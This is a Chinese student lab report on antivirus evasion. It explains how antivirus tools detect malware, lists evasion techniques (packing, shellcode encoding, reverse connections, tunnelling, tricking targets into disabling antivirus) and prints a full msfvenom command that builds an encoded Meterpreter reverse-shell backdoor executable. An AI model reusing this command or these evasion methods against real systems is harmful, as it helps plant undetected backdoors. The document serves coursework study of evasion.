20194311姜晨昊Exp3-免杀原理与实践

文章目录

  • 20194311姜晨昊Exp3-免杀原理与实践
    • 一、基础问题回答
      • 1.1 杀软是如何检测出恶意代码的?
      • ​ 1.2 免杀是做什么?
      • 1.3 免杀的基本方法有哪些?
      • 1.4开启杀软能绝对防止电脑中恶意代码吗?
    • 二、实验环境
    • 三、实践内容
      • 3.1正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
      • 3.2veil,加壳工具实践
      • 3.3使用C + shellcode编程
      • 3.4通过组合应用各种技术实现恶意代码免杀
    • 四、实验心得

20194311姜晨昊Exp3-免杀原理与实践

一、基础问题回答

1.1 杀软是如何检测出恶意代码的?

基于特征码进行检测

杀毒软件的病毒库记录了一些恶意软件的特征码,一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。这些特征码一般由一个不大于64字节的字符串组成,且是只有该病毒内才出现的字符串,根据已检测出或网络上公布的病毒,对其提取特征码,记录在病毒库中,检测到程序时将程序与特征码比对即可判断是否是恶意代码。

利用启发式恶意软件检测

将一个软件与恶意软件的行为、代码等作比对,如果发现相似度达到一定程度,即判定这个程序为恶意代码,有一定误报可能,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。

基于行为的恶意软件检测

对运行的所有进程进行实时监控,如果有敏感行为会被认为是恶意程序,是一种动态的监测与捕捉,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,相当于加入了行为监控的启发式。

​ 1.2 免杀是做什么?

免杀就是让安插的后门不被AV软件发现。除了直接使用现有后门软件外,还有一些方式,在实际中也有用。让我们的后门在目标机器上不被杀毒软件或者其他的防护软件识别并删除,悄悄的干活(不悄悄的别人也不让我们进行攻击和窥探)。

1.3 免杀的基本方法有哪些?

  • 改变特征码
  • 如果你手里只有EXE
    加壳:压缩壳 加密壳
  • 有shellcode(像Meterpreter)
    用encode进行编码
    基于payload重新编译生成可执行文件
  • 有源代码
    用其他语言进行重写再编译(veil-evasion)
  • 改变行为
  • 通讯方式
    尽量使用反弹式连接
    使用隧道技术
    加密通讯数据
  • 操作模式
    基于内存操作
    减少对系统的修改
    加入混淆作用的正常功能代码
  • 修改内存特征码
  • 等价替换法:把特征码所对应的汇编指令命令中替换成功能类拟的指令.
  • 通用跳转法:把特征码移到零区域(指代码的空隙处),然后一个JMP又跳回来执行
  • 非常规方法
  • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
  • 使用社工类攻击,诱骗目标关闭AV软件。
  • 纯手工打造一个恶意软件

1.4开启杀软能绝对防止电脑中恶意代码吗?

说绝对是有些过了,通过virus扫描类的网站我们已经能够看出,不同的后门不同的杀软是表现不同的,所以不能绝对防止!

二、实验环境

免杀测试平台

三、实践内容

3.1正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

检测直接生成的后门exe文件(实验二中的后门程序)
检出率为53/70
20194311姜晨昊Exp3-免杀原理与实践_第1张图片
20194311姜晨昊Exp3-免杀原理与实践_第2张图片
使用Unicode编码
编码一次
生成代码

msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.56.104 LPORT=4311 -f exe > 20194311backdoor3.exe

你可能感兴趣的:(linux)